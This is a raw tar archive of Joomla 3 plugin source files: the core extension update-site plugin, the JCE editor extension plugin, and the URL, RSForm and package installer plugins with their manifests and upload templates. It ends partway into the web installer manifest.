                                                                                                                                                                                
                                                                                                                                                                                
extension/joomla/joomla.php                                                                         0000705                 00000016167 15242051520 0012040 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Extension.Joomla
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! master extension plugin.
 *
 * @since  1.6
 */
class PlgExtensionJoomla extends JPlugin
{
	/**
	 * @var    integer Extension Identifier
	 * @since  1.6
	 */
	private $eid = 0;

	/**
	 * @var    JInstaller Installer object
	 * @since  1.6
	 */
	private $installer = null;

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Adds an update site to the table if it doesn't exist.
	 *
	 * @param   string   $name        The friendly name of the site
	 * @param   string   $type        The type of site (e.g. collection or extension)
	 * @param   string   $location    The URI for the site
	 * @param   boolean  $enabled     If this site is enabled
	 * @param   string   $extraQuery  Any additional request query to use when updating
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	private function addUpdateSite($name, $type, $location, $enabled, $extraQuery = '')
	{
		$db = JFactory::getDbo();

		// Look if the location is used already; doesn't matter what type you can't have two types at the same address, doesn't make sense
		$query = $db->getQuery(true)
			->select('update_site_id')
			->from('#__update_sites')
			->where('location = ' . $db->quote($location));
		$db->setQuery($query);
		$update_site_id = (int) $db->loadResult();

		// If it doesn't exist, add it!
		if (!$update_site_id)
		{
			$query->clear()
				->insert('#__update_sites')
				->columns(
					array(
						$db->quoteName('name'),
						$db->quoteName('type'),
						$db->quoteName('location'),
						$db->quoteName('enabled'),
						$db->quoteName('extra_query')
					)
				)
				->values(
					$db->quote($name) . ', '
					. $db->quote($type) . ', '
					// Trim to remove any whitespace from the XML file before saving the location to the db
					. $db->quote(trim($location)) . ', '
					. (int) $enabled . ', '
					. $db->quote($extraQuery)
				);
			$db->setQuery($query);

			if ($db->execute())
			{
				// Link up this extension to the update site
				$update_site_id = $db->insertid();
			}
		}

		// Check if it has an update site id (creation might have failed)
		if ($update_site_id)
		{
			// Look for an update site entry that exists
			$query->clear()
				->select('update_site_id')
				->from('#__update_sites_extensions')
				->where('update_site_id = ' . $update_site_id)
				->where('extension_id = ' . $this->eid);
			$db->setQuery($query);
			$tmpid = (int) $db->loadResult();

			if (!$tmpid)
			{
				// Link this extension to the relevant update site
				$query->clear()
					->insert('#__update_sites_extensions')
					->columns(array($db->quoteName('update_site_id'), $db->quoteName('extension_id')))
					->values($update_site_id . ', ' . $this->eid);
				$db->setQuery($query);
				$db->execute();
			}
		}
	}

	/**
	 * Handle post extension install update sites
	 *
	 * @param   JInstaller  $installer  Installer object
	 * @param   integer     $eid        Extension Identifier
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onExtensionAfterInstall($installer, $eid)
	{
		if ($eid)
		{
			$this->installer = $installer;
			$this->eid = $eid;

			// After an install we only need to do update sites
			$this->processUpdateSites();
		}
	}

	/**
	 * Handle extension uninstall
	 *
	 * @param   JInstaller  $installer  Installer instance
	 * @param   integer     $eid        Extension id
	 * @param   boolean     $result     Installation result
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onExtensionAfterUninstall($installer, $eid, $result)
	{
		// If we have a valid extension ID and the extension was successfully uninstalled wipe out any
		// update sites for it
		if ($eid && $result)
		{
			$db = JFactory::getDbo();
			$query = $db->getQuery(true)
				->delete('#__update_sites_extensions')
				->where('extension_id = ' . $eid);
			$db->setQuery($query);
			$db->execute();

			// Delete any unused update sites
			$query->clear()
				->select('update_site_id')
				->from('#__update_sites_extensions');
			$db->setQuery($query);
			$results = $db->loadColumn();

			if (is_array($results))
			{
				// So we need to delete the update sites and their associated updates
				$updatesite_delete = $db->getQuery(true);
				$updatesite_delete->delete('#__update_sites');
				$updatesite_query = $db->getQuery(true);
				$updatesite_query->select('update_site_id')
					->from('#__update_sites');

				// If we get results back then we can exclude them
				if (count($results))
				{
					$updatesite_query->where('update_site_id NOT IN (' . implode(',', $results) . ')');
					$updatesite_delete->where('update_site_id NOT IN (' . implode(',', $results) . ')');
				}

				// So let's find what update sites we're about to nuke and remove their associated extensions
				$db->setQuery($updatesite_query);
				$update_sites_pending_delete = $db->loadColumn();

				if (is_array($update_sites_pending_delete) && count($update_sites_pending_delete))
				{
					// Nuke any pending updates with this site before we delete it
					// TODO: investigate alternative of using a query after the delete below with a query and not in like above
					$query->clear()
						->delete('#__updates')
						->where('update_site_id IN (' . implode(',', $update_sites_pending_delete) . ')');
					$db->setQuery($query);
					$db->execute();
				}

				// Note: this might wipe out the entire table if there are no extensions linked
				$db->setQuery($updatesite_delete);
				$db->execute();
			}

			// Last but not least we wipe out any pending updates for the extension
			$query->clear()
				->delete('#__updates')
				->where('extension_id = ' . $eid);
			$db->setQuery($query);
			$db->execute();
		}
	}

	/**
	 * After update of an extension
	 *
	 * @param   JInstaller  $installer  Installer object
	 * @param   integer     $eid        Extension identifier
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onExtensionAfterUpdate($installer, $eid)
	{
		if ($eid)
		{
			$this->installer = $installer;
			$this->eid = $eid;

			// Handle any update sites
			$this->processUpdateSites();
		}
	}

	/**
	 * Processes the list of update sites for an extension.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	private function processUpdateSites()
	{
		$manifest      = $this->installer->getManifest();
		$updateservers = $manifest->updateservers;

		if ($updateservers)
		{
			$children = $updateservers->children();
		}
		else
		{
			$children = array();
		}

		if (count($children))
		{
			foreach ($children as $child)
			{
				$attrs = $child->attributes();
				$this->addUpdateSite($attrs['name'], $attrs['type'], trim($child), true, $this->installer->extraQuery);
			}
		}
		else
		{
			$data = trim((string) $updateservers);

			if ($data !== '')
			{
				// We have a single entry in the update server line, let us presume this is an extension line
				$this->addUpdateSite(JText::_('PLG_EXTENSION_JOOMLA_UNKNOWN_SITE'), 'extension', $data, true);
			}
		}
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                         extension/joomla/joomla.xml                                                                         0000705                 00000001420 15242051520 0012033 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="extension" method="upgrade">
	<name>plg_extension_joomla</name>
	<author>Joomla! Project</author>
	<creationDate>May 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_EXTENSION_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_extension_joomla.ini</language>
		<language tag="en-GB">en-GB.plg_extension_joomla.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                                extension/joomla/index.html                                                                         0000705                 00000000037 15242051520 0012030 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 extension/index.html                                                                                0000705                 00000000037 15242051520 0010547 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 extension/jce/jce.php                                                                               0000705                 00000013142 15242051520 0010566 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved
 * @copyright   Copyright (C) 2018 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * JCE extension plugin.
 *
 * @since  2.6
 */
class PlgExtensionJce extends JPlugin
{
    /**
     * Check the installer is for a valid plugin group.
     *
     * @param JInstaller $installer Installer object
     *
     * @return bool
     *
     * @since   2.6
     */
    private function isValidPlugin($installer)
    {
        if (empty($installer->manifest)) {
            return false;
        }

        foreach (array('type', 'group') as $var) {
            $$var = (string) $installer->manifest->attributes()->{$var};
        }

        return $type === 'plugin' && $group === 'jce';
    }

    public function onExtensionBeforeInstall($method, $type, $manifest, $extension = 0)
    {
        if ((string) $type === "file") {

            // get a reference to the current installer
            $manifestPath = JInstaller::getInstance()->getPath('manifest');

            if (empty($manifestPath)) {
                return true;
            }

            // get the filename of the manifest file, eg: pkg_jce_de-DE
            $element = basename($manifestPath, '.xml');

            // if this matches the current install...
            if (strpos($element, 'pkg_jce_') !== false) {
                // find an existing legacy language install, eg: jce-de-DE
                $element = str_replace('pkg_jce_', 'jce-', $element);

                $table = JTable::getInstance('extension');
                $id = $table->find(array('type' => 'file', 'element' => $element));

                if ($id) {
                    $installer = new JInstaller();

                    // try unisntall, if this fails, delete database entry
                    if (!$installer->uninstall('file', $id)) {
                        $table->delete($id);
                    }
                }
            }
        }
    }
    /**
     * Handle post extension install update sites.
     *
     * @param JInstaller $installer Installer object
     * @param int        $eid       Extension Identifier
     *
     * @since   2.6
     */
    public function onExtensionAfterInstall($installer, $eid)
    {
        if ($eid) {
            if (!$this->isValidPlugin($installer)) {
                return false;
            }

            $basename = basename($installer->getPath('extension_root'));

            if (strpos($basename, '-') === false) {
                return false;
            }

            require_once JPATH_ADMINISTRATOR . '/components/com_jce/helpers/plugins.php';

            // enable plugin
            $plugin = JTable::getInstance('extension');
            $plugin->load($eid);
            $plugin->publish();

            $parts = explode('-', $basename);
            $type = $parts[0];
            $name = $parts[1];

            $plugin = new StdClass();
            $plugin->name = $name;

            if ($type === 'editor') {
                $plugin->icon = (string) $installer->manifest->icon;
                $plugin->row = (int) (string) $installer->manifest->attributes()->row;
                $plugin->type = 'plugin';
            } else {
                $plugin->type = 'extension';
            }

            $plugin->path = $installer->getPath('extension_root');

            JcePluginsHelper::postInstall('install', $plugin, $installer);

            // clean up legacy extensions
            if ($plugin->type == 'extension') {
                jimport('joomla.filesystem.folder');
                jimport('joomla.filesystem.file');

                $path = JPATH_SITE . '/components/com_jce/editor/extensions/' . $type;

                // delete manifest
                if (is_file($path . '/' . $plugin->name . '.xml')) {
                    JFile::delete($path . '/' . $plugin->name . '.xml');
                }
                // delete file
                if (is_file($path . '/' . $plugin->name . '.php')) {
                    JFile::delete($path . '/' . $plugin->name . '.php');
                }
                // delete folder
                if (is_dir($path . '/' . $plugin->name)) {
                    JFolder::delete($path . '/' . $plugin->name);
                }
            }
        }
    }

    /**
     * Handle extension uninstall.
     *
     * @param JInstaller $installer Installer instance
     * @param int        $eid       Extension id
     * @param int        $result    Installation result
     *
     * @since   1.6
     */
    public function onExtensionAfterUninstall($installer, $eid, $result)
    {
        if ($eid) {
            if (!$this->isValidPlugin($installer)) {
                return false;
            }

            $basename = basename($installer->getPath('extension_root'));

            if (strpos($basename, '-') === false) {
                return false;
            }

            require_once JPATH_ADMINISTRATOR . '/components/com_jce/helpers/plugins.php';

            $parts = explode('-', $basename);
            $type = $parts[0];
            $name = $parts[1];

            $plugin = new StdClass();
            $plugin->name = $name;

            if ($type === 'editor') {
                $plugin->icon = (string) $installer->manifest->icon;
                $plugin->row = (int) (string) $installer->manifest->attributes()->row;
                $plugin->type = 'plugin';
            }

            $plugin->path = $installer->getPath('extension_root');

            JcePluginsHelper::postInstall('uninstall', $plugin, $installer);
        }
    }
}
                                                                                                                                                                                                                                                                                                                                                                                                                              extension/jce/jce.xml                                                                               0000705                 00000001617 15242051520 0010603 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="extension" method="upgrade">
	<name>plg_extension_jce</name>
	<version>2.8.3</version>
  <creationDate>15-01-2020</creationDate>
  <author>Ryan Demmer</author>
  <authorEmail>info@joomlacontenteditor.net</authorEmail>
  <authorUrl>http://www.joomlacontenteditor.net</authorUrl>
  <copyright>Copyright (C) 2006 - 2020 Ryan Demmer. All rights reserved</copyright>
  <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>PLG_EXTENSION_JCE_XML_DESCRIPTION</description>
	<files folder="plugins/extension/jce">
		<filename plugin="jce">jce.php</filename>
	</files>
	<languages folder="administrator/language/en-GB">
      <language tag="en-GB">en-GB.plg_extension_jce.ini</language>
      <language tag="en-GB">en-GB.plg_extension_jce.sys.ini</language>
  </languages>
</extension>
                                                                                                                 installer/urlinstaller/urlinstaller.php                                                             0000705                 00000001726 15242051520 0014512 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.urlinstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * UrlFolderInstaller Plugin.
 *
 * @since  3.6.0
 */
class PlgInstallerUrlInstaller extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.6.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Textfield or Form of the Plugin.
	 *
	 * @return  array  Returns an array with the tab information
	 *
	 * @since   3.6.0
	 */
	public function onInstallerAddInstallationTab()
	{
		$tab            = array();
		$tab['name']    = 'url';
		$tab['label']   = JText::_('PLG_INSTALLER_URLINSTALLER_TEXT');

		// Render the input
		ob_start();
		include JPluginHelper::getLayoutPath('installer', 'urlinstaller');
		$tab['content'] = ob_get_clean();

		return $tab;
	}
}
                                          installer/urlinstaller/urlinstaller.xml                                                             0000705                 00000001454 15242051520 0014521 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="installer">
	<name>PLG_INSTALLER_URLINSTALLER</name>
	<author>Joomla! Project</author>
	<creationDate>May 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.6.0</version>
	<description>PLG_INSTALLER_URLINSTALLER_PLUGIN_XML_DESCRIPTION</description>

	<files>
		<filename plugin="urlinstaller">urlinstaller.php</filename>
	</files>

	<languages>
		<language tag="en-GB">en-GB.plg_installer_urlinstaller.ini</language>
		<language tag="en-GB">en-GB.plg_installer_urlinstaller.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                    installer/urlinstaller/tmpl/default.php                                                             0000705                 00000002141 15242051520 0014362 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.urlinstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbuttonurl = function()
	{
		var form = document.getElementById("adminForm");

		JoomlaInstaller.showLoading();
		form.installtype.value = "url"
		form.submit();
	};
');
?>
<legend><?php echo JText::_('PLG_INSTALLER_URLINSTALLER_TEXT'); ?></legend>
<div class="control-group">
	<label for="install_url" class="control-label"><?php echo JText::_('PLG_INSTALLER_URLINSTALLER_TEXT'); ?></label>
	<div class="controls">
		<input type="text" id="install_url" name="install_url" class="span5 input_box" size="70" placeholder="https://"/>
	</div>
</div>
<div class="form-actions">
	<input type="button" class="btn btn-primary" id="installbutton_url"
		value="<?php echo JText::_('PLG_INSTALLER_URLINSTALLER_BUTTON'); ?>" onclick="Joomla.submitbuttonurl()" />
</div>
                                                                                                                                                                                                                                                                                                                                                                                                                               installer/rsform/rsform.php                                                                         0000705                 00000003406 15242051520 0012067 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package RSForm! Pro
* @copyright (C) 2015 www.rsjoomla.com
* @license GPL, http://www.gnu.org/copyleft/gpl.html
*/

defined('_JEXEC') or die;

class plgInstallerRSForm extends JPlugin
{
	public function onInstallerBeforePackageDownload(&$url, &$headers)
	{
		$uri 	= JUri::getInstance($url);
		$parts 	= explode('/', $uri->getPath());
		
		if ($uri->getHost() == 'www.rsjoomla.com' && (in_array('com_rsform', $parts) || in_array('plg_rsform_plugins', $parts))) {
			if (!file_exists(JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/config.php')) {
				return;
			}
			
			if (!file_exists(JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/version.php')) {
				return;
			}
			
			// Load our config
			require_once JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/config.php';
			
			// Load our version
			require_once JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/version.php';
			
			// Load language
			JFactory::getLanguage()->load('plg_installer_rsform');
			
			// Get the version
			$version = new RSFormProVersion;
			
			// Get the update code
			$code = RSFormProConfig::getInstance()->get('global.register.code');
			
			// No code added
			if (!strlen($code)) {
				JFactory::getApplication()->enqueueMessage(JText::_('PLG_INSTALLER_RSFORM_MISSING_UPDATE_CODE'), 'warning');
				return;
			}
			
			// Code length is incorrect
			if (strlen($code) != 20) {
				JFactory::getApplication()->enqueueMessage(JText::_('PLG_INSTALLER_RSFORM_INCORRECT_CODE'), 'warning');
				return;
			}
			
			// Compute the update hash			
			$uri->setVar('hash', md5($code.$version->key));
			$uri->setVar('domain', JUri::getInstance()->getHost());
			$uri->setVar('code', $code);
			$url = $uri->toString();
		}
	}
}
                                                                                                                                                                                                                                                          installer/rsform/rsform.xml                                                                         0000705                 00000001521 15242051520 0012074 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="installer" method="upgrade">
	<name>plg_installer_rsform</name>
	<creationDate>July 2015</creationDate>
	<author>RSJoomla!</author>
	<authorEmail>support@rsjoomla.com</authorEmail>
	<authorUrl>https://www.rsjoomla.com</authorUrl>
	<copyright>(c) 2015 www.rsjoomla.com</copyright>
	<license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license> 
	<version>1.0.0</version>
	<description>PLG_INSTALLER_RSFORM_XML_DESCRIPTION</description>
	<files>
		<filename plugin="rsform">rsform.php</filename>
		<filename>index.html</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_installer_rsform.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_installer_rsform.sys.ini</language>
	</languages>
</extension>                                                                                                                                                                               installer/rsform/index.html                                                                         0000705                 00000000070 15242051520 0012035 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><head><title></title></head><body></body></html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        installer/packageinstaller/tmpl/default.php                                                         0000705                 00000022161 15242051520 0015157 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.packageinstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');
JHtml::_('jquery.token');

JText::script('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_ERROR_UNKNOWN');
JText::script('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_ERROR_EMPTY');
JText::script('COM_INSTALLER_MSG_WARNINGS_UPLOADFILETOOBIG');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbuttonpackage = function()
	{
		var form = document.getElementById("adminForm");

		// do field validation 
		if (form.install_package.value == "")
		{
			alert("' . JText::_('PLG_INSTALLER_PACKAGEINSTALLER_NO_PACKAGE', true) . '");
		}
		else if (form.install_package.files[0].size > form.max_upload_size.value)
		{
			alert("' . JText::_('COM_INSTALLER_MSG_WARNINGS_UPLOADFILETOOBIG', true) . '");
		}
		else
		{
			JoomlaInstaller.showLoading();
			form.installtype.value = "upload"
			form.submit();
		}
	};
');

// Drag and Drop installation scripts
$token = JSession::getFormToken();
$return = JFactory::getApplication()->input->getBase64('return');

// Drag-drop installation
JFactory::getDocument()->addScriptDeclaration(
<<<JS
	jQuery(document).ready(function($) {
		if (typeof FormData === 'undefined') {
			$('#legacy-uploader').show();
			$('#uploader-wrapper').hide();
			return;
		}

		var uploading   = false;
		var dragZone    = $('#dragarea');
		var fileInput   = $('#install_package');
		var fileSizeMax = $('#max_upload_size').val();
		var button      = $('#select-file-button');
		var url         = 'index.php?option=com_installer&task=install.ajax_upload';
		var returnUrl   = $('#installer-return').val();
		var actions     = $('.upload-actions');
		var progress    = $('.upload-progress');
		var progressBar = progress.find('.bar');
		var percentage  = progress.find('.uploading-number');

		if (returnUrl) {
			url += '&return=' + returnUrl;
		}

		button.on('click', function(e) {
			fileInput.click();
		});

		fileInput.on('change', function (e) {
			if (uploading) {
				return;
			}

			Joomla.submitbuttonpackage();
		});

		dragZone.on('dragenter', function(e) {
			e.preventDefault();
			e.stopPropagation();

			dragZone.addClass('hover');

			return false;
		});

		// Notify user when file is over the drop area
		dragZone.on('dragover', function(e) {
			e.preventDefault();
			e.stopPropagation();

			dragZone.addClass('hover');

			return false;
		});

		dragZone.on('dragleave', function(e) {
			e.preventDefault();
			e.stopPropagation();
			dragZone.removeClass('hover');

			return false;
		});

		dragZone.on('drop', function(e) {
			e.preventDefault();
			e.stopPropagation();

			dragZone.removeClass('hover');

			if (uploading) {
				return;
			}

			var files = e.originalEvent.target.files || e.originalEvent.dataTransfer.files;

			if (!files.length) {
				return;
			}

			var file = files[0];

			var data = new FormData;

			if (file.size > fileSizeMax) {
				alert(Joomla.JText._('COM_INSTALLER_MSG_WARNINGS_UPLOADFILETOOBIG'), true);
				return;
			}

			data.append('install_package', file);
			data.append('installtype', 'upload');

			dragZone.attr('data-state', 'uploading');
			uploading = true;

			$.ajax({
				url: url,
				data: data,
				type: 'post',
				processData: false,
				cache: false,
				contentType: false,
				xhr: function () {
					var xhr = new window.XMLHttpRequest();

					progressBar.css('width', 0);
					progressBar.attr('aria-valuenow', 0);
					percentage.text(0);

					// Upload progress
					xhr.upload.addEventListener("progress", function (evt) {
						if (evt.lengthComputable) {
							var percentComplete = evt.loaded / evt.total;
							var number = Math.round(percentComplete * 100);
							progressBar.css('width', number + '%');
							progressBar.attr('aria-valuenow', number);
							percentage.text(number);

							if (number === 100) {
								dragZone.attr('data-state', 'installing');
							}
						}
					}, false);

					return xhr;
				}
			})
			.done(function (res) {
				// Handle extension fatal error
				if (!res || (!res.success && !res.data)) {
					showError(res);
					return;
				}

				// Always redirect that can show message queue from session 
				if (res.data.redirect) {
					location.href = res.data.redirect;
				} else {
					location.href = 'index.php?option=com_installer&view=install';
				}
			}).error(function (error) {
				uploading = false;

				if (error.status === 200) {
					var res = error.responseText || error.responseJSON;
					showError(res);
				} else {
					showError(error.statusText);
				}
			});

			function showError(res) {
				dragZone.attr('data-state', 'pending');

				var message = Joomla.JText._('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_ERROR_UNKNOWN');

				if (res == null) {
					message = Joomla.JText._('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_ERROR_EMPTY');
				} else if (typeof res === 'string') {
					// Let's remove unnecessary HTML
					message = res.replace(/(<([^>]+)>|\s+)/g, ' ');
				} else if (res.message) {
					message = res.message;
				}

				Joomla.renderMessages({error: [message]});
			}
		});
	});
JS
);

JFactory::getDocument()->addStyleDeclaration(
<<<CSS
	#dragarea {
		background-color: #fafbfc;
		border: 1px dashed #999;
		box-sizing: border-box;
		padding: 5% 0;
		transition: all 0.2s ease 0s;
		width: 100%;
	}

	#dragarea p.lead {
		color: #999;
	}

	#upload-icon {
		font-size: 48px;
		width: auto;
		height: auto;
		margin: 0;
		line-height: 175%;
		color: #999;
		transition: all .2s;
	}

	#dragarea.hover {
		border-color: #666;
		background-color: #eee;
	}

	#dragarea.hover #upload-icon,
	#dragarea p.lead {
		color: #666;
	}

	 .upload-progress, .install-progress {
		width: 50%;
		margin: 5px auto;
	 }

	/* Default transition (.3s) is too slow, progress will not run to 100% */
	.upload-progress .progress .bar {
		-webkit-transition: width .1s;
		-moz-transition: width .1s;
		-o-transition: width .1s;
		transition: width .1s;
	}

	#dragarea[data-state=pending] .upload-progress {
		display: none;
	}

	#dragarea[data-state=pending] .install-progress {
		display: none;
	}

	#dragarea[data-state=uploading] .install-progress {
		display: none;
	}

	#dragarea[data-state=uploading] .upload-actions {
		display: none;
	}

	#dragarea[data-state=installing] .upload-progress {
		display: none;
	}

	#dragarea[data-state=installing] .upload-actions {
		display: none;
	}
CSS
);

$maxSizeBytes = JFilesystemHelper::fileUploadMaxSize(false);
$maxSize = JHtml::_('number.bytes', $maxSizeBytes);
?>
<legend><?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_INSTALL_JOOMLA_EXTENSION'); ?></legend>

<div id="uploader-wrapper">
	<div id="dragarea" data-state="pending">
		<div id="dragarea-content" class="text-center">
			<p>
				<span id="upload-icon" class="icon-upload" aria-hidden="true"></span>
			</p>
			<div class="upload-progress">
				<div class="progress progress-striped active">
					<div class="bar bar-success"
						style="width: 0;"
						role="progressbar"
						aria-valuenow="0"
						aria-valuemin="0"
						aria-valuemax="100"
					></div>
				</div>
				<p class="lead">
					<span class="uploading-text">
						<?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_UPLOADING'); ?>
					</span>
					<span class="uploading-number">0</span><span class="uploading-symbol">%</span>
				</p>
			</div>
			<div class="install-progress">
				<div class="progress progress-striped active">
					<div class="bar" style="width: 100%;"></div>
				</div>
				<p class="lead">
					<span class="installing-text">
						<?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_INSTALLING'); ?>
					</span>
				</p>
			</div>
			<div class="upload-actions">
				<p class="lead">
					<?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_DRAG_FILE_HERE'); ?>
				</p>
				<p>
					<button id="select-file-button" type="button" class="btn btn-success">
						<span class="icon-copy" aria-hidden="true"></span>
						<?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_SELECT_FILE'); ?>
					</button>
				</p>
				<p>
					<?php echo JText::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', $maxSize); ?>
				</p>
			</div>
		</div>
	</div>
</div>

<div id="legacy-uploader" style="display: none;">
	<div class="control-group">
		<label for="install_package" class="control-label"><?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_EXTENSION_PACKAGE_FILE'); ?></label>
		<div class="controls">
			<input class="input_box" id="install_package" name="install_package" type="file" size="57" />
			<input id="max_upload_size" name="max_upload_size" type="hidden" value="<?php echo $maxSizeBytes; ?>" /><br>
			<?php echo JText::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', $maxSize); ?>
		</div>
	</div>
	<div class="form-actions">
		<button class="btn btn-primary" type="button" id="installbutton_package" onclick="Joomla.submitbuttonpackage()">
			<?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_AND_INSTALL'); ?>
		</button>
	</div>

	<input id="installer-return" name="return" type="hidden" value="<?php echo $return; ?>" />
	<input id="installer-token" name="return" type="hidden" value="<?php echo $token; ?>" />
</div>
                                                                                                                                                                                                                                                                                                                                                                                                               installer/packageinstaller/packageinstaller.xml                                                     0000705                 00000001504 15242051520 0016077 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="installer">
	<name>plg_installer_packageinstaller</name>
	<author>Joomla! Project</author>
	<creationDate>May 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.6.0</version>
	<description>PLG_INSTALLER_PACKAGEINSTALLER_PLUGIN_XML_DESCRIPTION</description>

	<files>
		<filename plugin="packageinstaller">packageinstaller.php</filename>
	</files>

	<languages>
		<language tag="en-GB">en-GB.plg_installer_packageinstaller.ini</language>
		<language tag="en-GB">en-GB.plg_installer_packageinstaller.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                            installer/packageinstaller/packageinstaller.php                                                     0000705                 00000001770 15242051520 0016073 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.packageInstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * PackageInstaller Plugin.
 *
 * @since  3.6.0
 */
class PlgInstallerPackageInstaller extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.6.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Textfield or Form of the Plugin.
	 *
	 * @return  array  Returns an array with the tab information
	 *
	 * @since   3.6.0
	 */
	public function onInstallerAddInstallationTab()
	{
		$tab            = array();
		$tab['name']    = 'package';
		$tab['label']   = JText::_('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_PACKAGE_FILE');

		// Render the input
		ob_start();
		include JPluginHelper::getLayoutPath('installer', 'packageinstaller');
		$tab['content'] = ob_get_clean();

		return $tab;
	}
}
        installer/webinstaller/webinstaller.xml                                                             0000705                 00000002017 15242051520 0014443 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
